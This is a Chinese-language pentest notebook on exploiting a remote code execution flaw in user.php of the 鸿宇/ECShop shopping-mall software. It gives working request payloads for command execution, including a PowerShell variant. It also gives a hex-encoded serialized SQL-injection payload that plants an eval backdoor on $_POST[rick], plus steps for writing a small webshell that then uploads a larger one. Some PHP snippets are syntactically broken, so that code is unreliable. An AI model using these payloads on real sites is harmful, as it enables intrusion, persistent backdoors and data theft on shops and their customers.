小马传大马的思想
鸿宇多用户商城 user.php 任意命令执行漏洞
通过命令执行的点,传入 PHP代码。
写入 PHP 代码到文件中,可以先写成 txt 的文件格式,查看写入的内容是否被拦截,是否被解析了。
当前的状态是可以命令执行,在命令执行的部分,直接echo
我今天遇到的是,传入的部分,被"
解析了,poc 的部分是这样的,是利用了 user.php
的参数进行传入。然后造成了命令执行。但是user.php
,会对传入的数据进行解析。所以,直接在这里传马的话,会被解析处理掉。并且,如果函数里的参数是字符串的形式,比如,$_POST[“string”],它就会被解析掉,不能顺利写入。所以用数字.
所以就想到了,既然能命令执行,那可以写入文件,写一个php的文件,然后再通过这个文件,进行文件上传。先写一个小马,通过小马传大马。写小马的时候,要用绕过的方式来写。不要正向的去写。
`echo "<?php file_put_contents($_POST[1],$_POST[2];?>)" > hello.php`};&1=$_POST[1]&2=$_POST[2]
POST 里面的参数,用的是数字,是为了避免写进去的时候被解析掉。file_put_contents
的方式,将内容写入。第一个参数是用来接收传入的文件名的,第二个接收传入的PHP代码。
成功上马
windows环境,cmd 不好用的时候,把 powershell 搞出来
普通命令执行的时候是这样
action=login&pp123=${`cmd`};
牛逼并且有回显的命令执行是这样
action=login&pp123=${@var_dump(print%20`C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe%20cmd`)};
如果能执行php,优先php内置执行命令。
echo(system("dir"));
PHP 反序列化漏洞
554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:\"num\";s:233:\"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b6576616c09286261736536345f6465636f64650928275a585a686243686959584e6c4e6a52665a47566a6232526c4b435266554539545646747961574e7258536b704f773d3d2729293b2f2f7d787878,10-- -\";s:2:\"id\";s:11:\"-1' UNION/*\";}554fcae493e564ee0dc75bdf2ebf94ca"
解码后
554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:\"num\";s:233:\"*/SELECT 1,-1' UNION/*,2,4,5,6,7,8,{$asd'];eval (base64_decode ('eval(base64_decode($_POST[rick]));'));//}xxx,10-- -\";s:2:\"id\";s:11:\"-1' UNION/*\";}554fcae493e564ee0dc75bdf2ebf94ca"
其中,前后的部分是md5,解密之后是ecshop
ecshopads|a:2:{s:3:\"num\";s:233:\"*/SELECT 1,-1' UNION/*,2,4,5,6,7,8,{$asd'];eval (base64_decode ('eval(base64_decode($_POST[rick]));'));//}xxx,10-- -\";s:2:\"id\";s:11:\"-1' UNION/*\";}ecshop"
所以漏洞传参点,在rick那里,post传入。
eval函数来可以传参来进行php的代码执行。
利用这个代码执行的点,来执行命令
传入参数,执行cmd命令
echo(system(\""+cmd+"\"));
进行马的上传
可以利用php的file_put 函数来进行文件的写入。
"action=login&rick=" + base64EncodeWaTqS("file_put_contents('"+filename+"',' "+content+"');")
content 的内容是php马的内容,filename是马的文件名。
附录
php中,双引号里面是可以解析变量的,但是单引号里面不解析变量。
想要把以下的内容,通过 php 代码写入到文件中,并且POST 是变量,需要传参数进去。
<?php file_put_contents($_POST[1],$_POST[2];?>
file_put_contents("hello.txt",'<?php file_put_contents($_POST[1],$_POST[2];?>');